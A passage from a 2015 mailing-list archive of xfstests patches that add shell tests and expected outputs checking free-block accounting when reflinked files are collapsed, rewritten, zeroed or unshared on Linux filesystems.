+Files 1-4 do not match (intentional) +Files 2-3 do not match (intentional) +Files 2-4 do not match (intentional) +Files 3-4 do not match (intentional) +Punch all the files +free blocks after reflink is in range +free blocks after punching some reflink copies is in range +free blocks after punching all copies is in range diff --git a/tests/generic/833 b/tests/generic/833 new file mode 100755 index 0000000..bd635d7 --- /dev/null +++ b/tests/generic/833 @@ -0,0 +1,116 @@ +#! /bin/bash +# FS QA Test No. 833 +# +# Ensure that collapse-range on all copies of a file reflinked N times releases the blocks +# - Record fs block usage (0) +# - Create a file and some reflink copies +# - Record fs block usage (1) +# - Collapse-range some blocks of the copies +# - Record fs block usage (2) +# - Truncate all blocks of the copies +# - Compare fs block usage to (2), (1), and (0) +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "fcollapse" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +BLKS=2000 +MARGIN=100 +SZ=$((BLKSZ * BLKS)) +FREE_BLOCKS0=$(stat -f $TESTDIR -c '%f') +NR=4 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $SZ" $TESTDIR/file1 >> $seqres.full +_test_remount + +echo "Create the reflink copies" +for i in `seq 2 $NR`; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file$i +done +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match" +FREE_BLOCKS1=$(stat -f $TESTDIR -c '%f') +FREE_BLOCKS1=$(stat -f $TESTDIR -c '%f') + +echo "Collapse most of the blocks" +$XFS_IO_PROG -f -c "fcollapse 0 $(((BLKS - 1) * BLKSZ))" $TESTDIR/file2 +$XFS_IO_PROG -f -c "fcollapse 0 $((BLKS / 2 * BLKSZ))" $TESTDIR/file3 +$XFS_IO_PROG -f -c "fcollapse $((BLKS / 2 * BLKSZ)) $(( ((BLKS / 2) - 1) * BLKSZ))" $TESTDIR/file4 +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match (intentional)" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match (intentional)" +FREE_BLOCKS2=$(stat -f $TESTDIR -c '%f') + +echo "Collpase nearly all the files" +$XFS_IO_PROG -f -c "fcollapse 0 $(( ((BLKS / 2) - 1) * BLKSZ))" $TESTDIR/file3 +$XFS_IO_PROG -f -c "fcollapse 0 $(( (BLKS / 2) * BLKSZ))" $TESTDIR/file4 +$XFS_IO_PROG -f -c "fcollapse 0 $(( (BLKS - 1) * BLKSZ))" $TESTDIR/file1 +_test_remount +FREE_BLOCKS3=$(stat -f $TESTDIR -c '%f') +#echo $FREE_BLOCKS0 $FREE_BLOCKS1 $FREE_BLOCKS2 $FREE_BLOCKS3 + +_within_tolerance "free blocks after reflink" $FREE_BLOCKS1 $((FREE_BLOCKS0 - BLKS)) $MARGIN -v + +_within_tolerance "free blocks after fcollapsing some reflink copies" $FREE_BLOCKS2 $FREE_BLOCKS1 $MARGIN -v + +_within_tolerance "free blocks after fcollapsing all copies" $FREE_BLOCKS3 $FREE_BLOCKS0 $MARGIN -v + +# success, all done +status=0 +exit diff --git a/tests/generic/833.out b/tests/generic/833.out new file mode 100644 index 0000000..bdbd36f --- /dev/null +++ b/tests/generic/833.out @@ -0,0 +1,14 @@ +QA output created by 833 +Create the original file blocks +Create the reflink copies +Collapse most of the blocks +Files 1-2 do not match (intentional) +Files 1-3 do not match (intentional) +Files 1-4 do not match (intentional) +Files 2-3 do not match (intentional) +Files 2-4 do not match (intentional) +Files 3-4 do not match (intentional) +Collpase nearly all the files +free blocks after reflink is in range +free blocks after fcollapsing some reflink copies is in range +free blocks after fcollapsing all copies is in range diff --git a/tests/generic/834 b/tests/generic/834 new file mode 100755 index 0000000..598cf8a --- /dev/null +++ b/tests/generic/834 @@ -0,0 +1,122 @@ +#! /bin/bash +# FS QA Test No. 834 +# +# Ensure that CoW on all copies of a file reflinked N times increases block count +# - Record fs block usage (0) +# - Create a file and some reflink copies +# - Record fs block usage (1) +# - CoW some blocks of the copies +# - Record fs block usage (2) +# - CoW all the rest of the blocks of the copies +# - Compare fs block usage to (2), (1), and (0) +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +BLKS=2000 +MARGIN=100 +FREE_BLOCKS0=$(stat -f $TESTDIR -c '%f') +NR=4 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKS * BLKSZ))" $TESTDIR/file1 >> $seqres.full +_test_remount + +echo "Create the reflink copies" +for i in `seq 2 $NR`; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file$i +done +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match" +FREE_BLOCKS1=$(stat -f $TESTDIR -c '%f') + +echo "Rewrite some of the blocks" +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKS * BLKSZ))" $TESTDIR/file2 > /dev/null +$XFS_IO_PROG -f -c "pwrite -S 0x63 0 $((BLKS / 2 * BLKSZ))" $TESTDIR/file3 > /dev/null +$XFS_IO_PROG -f -c "pwrite -S 0x64 $((BLKS / 2 * BLKSZ)) $((BLKS / 2 * BLKSZ))" $TESTDIR/file4 > /dev/null +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match (intentional)" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match (intentional)" +FREE_BLOCKS2=$(stat -f $TESTDIR -c '%f') + +echo "Rewrite all the files" +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKS * BLKSZ))" $TESTDIR/file2 > /dev/null +$XFS_IO_PROG -f -c "pwrite -S 0x63 0 $((BLKS * BLKSZ))" $TESTDIR/file3 > /dev/null +$XFS_IO_PROG -f -c "pwrite -S 0x64 0 $((BLKS * BLKSZ))" $TESTDIR/file4 > /dev/null +_test_remount +FREE_BLOCKS3=$(stat -f $TESTDIR -c '%f') + +echo "Rewrite the original file" +$XFS_IO_PROG -f -c "pwrite -S 0x65 0 $((BLKS * BLKSZ))" $TESTDIR/file1 > /dev/null +_test_remount +FREE_BLOCKS4=$(stat -f $TESTDIR -c '%f') +#echo $FREE_BLOCKS0 $FREE_BLOCKS1 $FREE_BLOCKS2 $FREE_BLOCKS3 $FREE_BLOCKS4 + +_within_tolerance "free blocks after reflinking" $FREE_BLOCKS1 $((FREE_BLOCKS0 - BLKS)) $MARGIN -v + +_within_tolerance "free blocks after partially CoWing some copies" $FREE_BLOCKS2 $((FREE_BLOCKS1 - (2 * BLKS))) $MARGIN -v + +_within_tolerance "free blocks after CoWing all copies" $FREE_BLOCKS3 $((FREE_BLOCKS2 - BLKS)) $MARGIN -v + +_within_tolerance "free blocks after overwriting original" $FREE_BLOCKS4 $FREE_BLOCKS3 $MARGIN -v + +_within_tolerance "free blocks after all tests" $FREE_BLOCKS4 $((FREE_BLOCKS0 - (4 * BLKS))) $MARGIN -v + +# success, all done +status=0 +exit diff --git a/tests/generic/834.out b/tests/generic/834.out new file mode 100644 index 0000000..23fb663 --- /dev/null +++ b/tests/generic/834.out @@ -0,0 +1,17 @@ +QA output created by 834 +Create the original file blocks +Create the reflink copies +Rewrite some of the blocks +Files 1-2 do not match (intentional) +Files 1-3 do not match (intentional) +Files 1-4 do not match (intentional) +Files 2-3 do not match (intentional) +Files 2-4 do not match (intentional) +Files 3-4 do not match (intentional) +Rewrite all the files +Rewrite the original file +free blocks after reflinking is in range +free blocks after partially CoWing some copies is in range +free blocks after CoWing all copies is in range +free blocks after overwriting original is in range +free blocks after all tests is in range diff --git a/tests/generic/835 b/tests/generic/835 new file mode 100755 index 0000000..22bd768 --- /dev/null +++ b/tests/generic/835 @@ -0,0 +1,127 @@ +#! /bin/bash +# FS QA Test No. 835 +# +# Ensure that CoW on all copies of a file reflinked N times increases block count +# - Record fs block usage (0) +# - Create a file and some reflink copies +# - Record fs block usage (1) +# - CoW some blocks of the copies +# - Record fs block usage (2) +# - CoW all the rest of the blocks of the copies +# - Compare fs block usage to (2), (1), and (0) +# +# The main difference from 834 is that we use zero range, directio, and +# mmap to mix things up a bit. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "fzero" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +BLKS=2000 +MARGIN=100 +SZ=$((BLKSZ * BLKS)) +FREE_BLOCKS0=$(stat -f $TESTDIR -c '%f') +NR=4 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $SZ" $TESTDIR/file1 >> $seqres.full +_test_remount + +echo "Create the reflink copies" +for i in `seq 2 $NR`; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file$i +done +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match" +FREE_BLOCKS1=$(stat -f $TESTDIR -c '%f') + +echo "Rewrite some of the blocks" +$XFS_IO_PROG -f -c "fzero 0 $((BLKS * BLKSZ))" $TESTDIR/file2 > /dev/null +$XFS_IO_PROG -d -f -c "pwrite -S 0x63 0 $((BLKS / 2 * BLKSZ))" $TESTDIR/file3 > /dev/null +$XFS_IO_PROG -f -c "mmap -rw 0 $((BLKS * BLKSZ))" -c "mwrite -S 0x64 $((BLKS / 2 * BLKSZ)) $((BLKS / 2 * BLKSZ))" $TESTDIR/file4 > /dev/null +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match (intentional)" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match (intentional)" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match (intentional)" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match (intentional)" +FREE_BLOCKS2=$(stat -f $TESTDIR -c '%f') + +echo "Rewrite all the files" +$XFS_IO_PROG -d -f -c "pwrite -S 0x62 0 $((BLKS * BLKSZ))" $TESTDIR/file2 > /dev/null +$XFS_IO_PROG -f -c "mmap -rw 0 $((BLKS * BLKSZ))" -c "mwrite -S 0x63 0 $((BLKS * BLKSZ))" $TESTDIR/file3 > /dev/null +$XFS_IO_PROG -f -c "fzero 0 $((BLKS * BLKSZ))" $TESTDIR/file4 > /dev/null +_test_remount +FREE_BLOCKS3=$(stat -f $TESTDIR -c '%f') + +echo "Rewrite the original file" +$XFS_IO_PROG -f -c "pwrite -S 0x65 0 $((BLKS * BLKSZ))" $TESTDIR/file1 > /dev/null +_test_remount +FREE_BLOCKS4=$(stat -f $TESTDIR -c '%f') +#echo $FREE_BLOCKS0 $FREE_BLOCKS1 $FREE_BLOCKS2 $FREE_BLOCKS3 $FREE_BLOCKS4 + +_within_tolerance "free blocks after reflinking" $FREE_BLOCKS1 $((FREE_BLOCKS0 - BLKS)) $MARGIN -v + +_within_tolerance "free blocks after partially CoWing some copies" $FREE_BLOCKS2 $((FREE_BLOCKS1 - (2 * BLKS))) $MARGIN -v + +_within_tolerance "free blocks after CoWing all copies" $FREE_BLOCKS3 $((FREE_BLOCKS2 - BLKS)) $MARGIN -v + +_within_tolerance "free blocks after overwriting original" $FREE_BLOCKS4 $FREE_BLOCKS3 $MARGIN -v + +_within_tolerance "free blocks after all tests" $FREE_BLOCKS4 $((FREE_BLOCKS0 - (4 * BLKS))) $MARGIN -v + +# success, all done +status=0 +exit diff --git a/tests/generic/835.out b/tests/generic/835.out new file mode 100644 index 0000000..a601ee2 --- /dev/null +++ b/tests/generic/835.out @@ -0,0 +1,17 @@ +QA output created by 835 +Create the original file blocks +Create the reflink copies +Rewrite some of the blocks +Files 1-2 do not match (intentional) +Files 1-3 do not match (intentional) +Files 1-4 do not match (intentional) +Files 2-3 do not match (intentional) +Files 2-4 do not match (intentional) +Files 3-4 do not match (intentional) +Rewrite all the files +Rewrite the original file +free blocks after reflinking is in range +free blocks after partially CoWing some copies is in range +free blocks after CoWing all copies is in range +free blocks after overwriting original is in range +free blocks after all tests is in range diff --git a/tests/generic/836 b/tests/generic/836 new file mode 100755 index 0000000..9bc81c5 --- /dev/null +++ b/tests/generic/836 @@ -0,0 +1,144 @@ +#! /bin/bash +# FS QA Test No. 836 +# +# Ensure that funshare on reflinked files actually CoWs the files and +# removes the inode flag. +# - Record fs block usage (0) +# - Create a file and some reflink copies +# - Record fs block usage (1) +# - funshare the copies +# - chattr +C the copies +# - Compare fs block usage to (2), (1), and (0) +# - Compare the extent lists of the copies +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +if [ $FSTYP = "btrfs" ]; then + _notrun "btrfs doesn't handle funshare" +fi + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "funshare" +_require_cp_reflink +_require_test +_require_attrs + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +BLKS=2000 +MARGIN=100 +SZ=$((BLKSZ * BLKS)) +FREE_BLOCKS0=$(stat -f $TESTDIR -c '%f') +NR=4 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $SZ" $TESTDIR/file1 >> $seqres.full +_test_remount + +echo "Create the reflink copies" +for i in `seq 2 $NR`; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file$i +done +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match" +FREE_BLOCKS1=$(stat -f $TESTDIR -c '%f') +lsattr -l $TESTDIR/ | _filter_test_dir + +echo "funshare part of a file" +$XFS_IO_PROG -f -c "funshare 0 $((SZ / 2))" $TESTDIR/file2 +_test_remount +lsattr -l $TESTDIR/ | _filter_test_dir + +echo "funshare some of the copies" +$XFS_IO_PROG -f -c "funshare 0 $SZ" $TESTDIR/file2 +$XFS_IO_PROG -f -c "funshare 0 $SZ" $TESTDIR/file3 +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match" +FREE_BLOCKS2=$(stat -f $TESTDIR -c '%f') +lsattr -l $TESTDIR/ | _filter_test_dir + +echo "funshare the rest of the files" +$XFS_IO_PROG -f -c "funshare 0 $SZ" $TESTDIR/file4 +$XFS_IO_PROG -f -c "funshare 0 $SZ" $TESTDIR/file1 +_test_remount +cmp -s $TESTDIR/file1 $TESTDIR/file2 || echo "Files 1-2 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file3 || echo "Files 1-3 do not match" +cmp -s $TESTDIR/file1 $TESTDIR/file4 || echo "Files 1-4 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file3 || echo "Files 2-3 do not match" +cmp -s $TESTDIR/file2 $TESTDIR/file4 || echo "Files 2-4 do not match" +cmp -s $TESTDIR/file3 $TESTDIR/file4 || echo "Files 3-4 do not match" +FREE_BLOCKS3=$(stat -f $TESTDIR -c '%f') +lsattr -l $TESTDIR/ | _filter_test_dir + +echo "Rewrite the original file" +$XFS_IO_PROG -f -c "pwrite -S 0x65 0 $((BLKS * BLKSZ))" $TESTDIR/file1 > /dev/null +_test_remount +FREE_BLOCKS4=$(stat -f $TESTDIR -c '%f') +lsattr -l $TESTDIR/ | _filter_test_dir +#echo $FREE_BLOCKS0 $FREE_BLOCKS1 $FREE_BLOCKS2 $FREE_BLOCKS3 $FREE_BLOCKS4 + +_within_tolerance "free blocks after reflinking" $FREE_BLOCKS1 $((FREE_BLOCKS0 - BLKS)) $MARGIN -v + +_within_tolerance "free blocks after nocow'ing some copies" $FREE_BLOCKS2 $((FREE_BLOCKS1 - (2 * BLKS))) $MARGIN -v + +_within_tolerance "free blocks after nocow'ing all copies" $FREE_BLOCKS3 $((FREE_BLOCKS2 - BLKS)) $MARGIN -v + +_within_tolerance "free blocks after overwriting original" $FREE_BLOCKS4 $FREE_BLOCKS3 $MARGIN -v + +_within_tolerance "free blocks after all tests" $FREE_BLOCKS4 $((FREE_BLOCKS0 - (4 * BLKS))) $MARGIN -v + +# success, all done +status=0 +exit diff --git a/tests/generic/836.out b/tests/generic/836.out new file mode 100644 index 0000000..45f7750 --- /dev/null +++ b/tests/generic/836.out @@ -0,0 +1,32 @@ +QA output created by 836 +Create the original file blocks +Create the reflink copies +TEST_DIR/test-836/file1 --- +TEST_DIR/test-836/file2 --- +TEST_DIR/test-836/file3 --- +TEST_DIR/test-836/file4 --- +funshare part of a file +TEST_DIR/test-836/file1 --- +TEST_DIR/test-836/file2 --- +TEST_DIR/test-836/file3 --- +TEST_DIR/test-836/file4 --- +funshare some of the copies +TEST_DIR/test-836/file1 --- +TEST_DIR/test-836/file2 No_COW +TEST_DIR/test-836/file3 No_COW +TEST_DIR/test-836/file4 --- +funshare the rest of the files +TEST_DIR/test-836/file1 No_COW +TEST_DIR/test-836/file2 No_COW +TEST_DIR/test-836/file3 No_COW +TEST_DIR/test-836/file4 No_COW +Rewrite the original file +TEST_DIR/test-836/file1 No_COW +TEST_DIR/test-836/file2 No_COW +TEST_DIR/test-836/file3 No_COW +TEST_DIR/test-836/file4 No_COW +free blocks after reflinking is in range +free blocks after nocow'ing some copies is in range +free blocks after nocow'ing all copies is in range +free blocks after overwriting original is in range +free blocks after all tests is in range diff --git a/tests/generic/group b/tests/generic/group index 7f70690..353e23c 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -236,5 +236,12 @@ 827 auto quick clone 828 auto quick clone 829 auto quick clone +830 auto quick clone +831 auto quick clone +832 auto quick clone +833 auto quick clone +834 auto quick clone +835 auto quick clone +836 auto quick clone 837 auto quick clone 838 auto quick clone From darrick.wong@oracle.com Wed Oct 7 00:14:14 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7F6AC29F2A for ; Wed, 7 Oct 2015 00:14:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 61480304039 for ; Tue, 6 Oct 2015 22:14:14 -0700 (PDT) X-ASG-Debug-ID: 1444194852-04cb6c57860dbf0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 61aEUNyF7DxGb0yw (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:14:12 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975E7jB025679 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:14:07 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t975E60H007082 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:14:07 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975E6sB011943; Wed, 7 Oct 2015 05:14:06 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:14:06 -0700 Subject: [PATCH 09/12] reflink: test error conditions due to bad inputs From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 09/12] reflink: test error conditions due to bad inputs To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:14:04 -0700 Message-ID: <20151007051404.3260.72531.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194852 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Check that we can feed bad inputs to reflink and it'll reject them. Signed-off-by: Darrick J. Wong --- tests/generic/839 | 122 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/839.out | 30 ++++++++++++ tests/generic/group | 1 3 files changed, 153 insertions(+) create mode 100755 tests/generic/839 create mode 100644 tests/generic/839.out diff --git a/tests/generic/839 b/tests/generic/839 new file mode 100755 index 0000000..fe32cfb --- /dev/null +++ b/tests/generic/839 @@ -0,0 +1,122 @@ +#! /bin/bash +# FS QA Test No. 839 +# +# Check that cross-device reflink and dedupe are rejected +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` 